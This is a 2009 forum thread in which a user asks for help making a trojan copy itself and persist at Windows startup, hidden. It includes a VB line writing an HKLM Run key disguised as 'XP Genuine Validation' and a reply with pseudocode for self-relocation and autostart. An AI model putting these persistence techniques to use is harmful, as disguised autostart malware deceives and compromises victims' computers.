Remote Administration Tool Research forumRemote Administration Tool Research forum
  Remote Administration Tool Research forum
Register Social Groups Mark Forums Read

Go Back   Remote Administration Tool Research forum > Programming > Source Code help

Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 30-12-2009, 12:04
Junior Member
 
Join Date: Dec 2009
Posts: 7
mokhtarone is on a distinguished road
Question need help please!!!

hi to all
I want to make a copy of the server before it copies itself into the start-up, and it copies itself into the start-up (file name undefined)

is the code I use but it does not copy

Dim Startup
Set Startup = CreateObject("WScript.Shell")
Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Ru n\XP Genuine Validation", App.Path & "\" & App.EXEName & ".exe"




and i want to make the process hidden and has not quit

thinks to all
Reply With Quote
  #2 (permalink)  
Old 30-12-2009, 12:41
Senior Member
 
Join Date: Jun 2009
Location: 127.0.0.1
Posts: 1,104
~Fleck is on a distinguished road
dint understand what u wanted exactly but theres a space in the code


Code:
Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Ru n\XP Genuine Validation", App.Path & "\" & App.EXEName & ".exe"
try remove the space b/w ru and n
Reply With Quote
  #3 (permalink)  
Old 30-12-2009, 13:32
Junior Member
 
Join Date: Dec 2009
Posts: 7
mokhtarone is on a distinguished road
Quote:
Originally Posted by ~Fleck View Post
dint understand what u wanted exactly but theres a space in the code


Code:
Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Ru n\XP Genuine Validation", App.Path & "\" & App.EXEName & ".exe"
try remove the space b/w ru and n

this ( ru n ) it is error of the copy
Reply With Quote
  #4 (permalink)  
Old 30-12-2009, 13:33
Senior Member
 
Join Date: Jun 2009
Location: 127.0.0.1
Posts: 1,104
~Fleck is on a distinguished road
Quote:
Originally Posted by mokhtarone View Post
this ( ru n ) it is error of the copy
lol ok then that was a very simple bug ^^
Reply With Quote
  #5 (permalink)  
Old 30-12-2009, 13:45
Junior Member
 
Join Date: Dec 2009
Posts: 7
mokhtarone is on a distinguished road
Quote:
Originally Posted by ~Fleck View Post
lol ok then that was a very simple bug ^^
I want to copy the trojen ans make it in start'up
Reply With Quote
  #6 (permalink)  
Old 30-12-2009, 13:53
Member
 
Join Date: Dec 2009
Posts: 33
elohim is on a distinguished road
Then you should:

Define DestinationFolder
Get CurrentFolder

If CurrentFolder <> DestinationFolder then
You Copy the binary to DestinationFolder
You launch the copy
You end the Current Process
Else
You write the AutostartupRegistry
end if
Reply With Quote
  #7 (permalink)  
Old 30-12-2009, 14:05
Junior Member
 
Join Date: Dec 2009
Posts: 7
mokhtarone is on a distinguished road
thinks
Reply With Quote
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On



All times are GMT +1. The time now is 16:25.


vBulletin Version is 3.8.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd.